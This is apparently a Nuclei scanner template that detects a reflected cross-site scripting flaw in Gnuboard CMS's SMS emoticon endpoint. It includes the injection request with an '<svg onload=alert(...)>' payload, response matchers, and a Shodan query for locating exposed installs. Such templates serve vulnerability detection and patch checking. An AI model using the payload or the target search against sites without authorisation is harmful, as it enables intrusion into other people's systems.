2022-05-10 04:22:31 +00:00
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id: gnuboard-sms-xss
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info:
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name: Gnuboard CMS - SMS Emoticon XSS
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author: gy741
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severity: medium
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description: A vulnerability in Gnuboard CMS allows remote attackers to inject arbitrary Javascript into the responses returned by the server.
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reference:
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- https://sir.kr/g5_pds/4788?page=5
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- https://github.com/gnuboard/gnuboard5/commit/8182cac90d2ee2f9da06469ecba759170e782ee3
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2022-05-12 19:41:32 +00:00
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metadata:
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verified: true
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shodan-query: http.html:"Gnuboard"
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2022-05-10 04:22:31 +00:00
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tags: xss,gnuboard
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requests:
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- method: GET
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path:
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2022-05-12 19:41:32 +00:00
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- "{{BaseURL}}/plugin/sms5/ajax.sms_emoticon.php?arr_ajax_msg=gnuboard<svg+onload=alert(document.domain)>"
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2022-05-10 04:22:31 +00:00
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matchers-condition: and
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matchers:
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- type: word
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part: body
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2022-05-12 19:41:32 +00:00
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words:
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- '"0nuboard<svg onload=alert(document.domain)>"'
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2022-05-10 04:22:31 +00:00
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- type: word
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2022-05-12 19:41:32 +00:00
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part: header
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2022-05-10 04:22:31 +00:00
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words:
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- "text/html"
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2022-05-12 19:41:32 +00:00
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- type: status
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status:
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- 200
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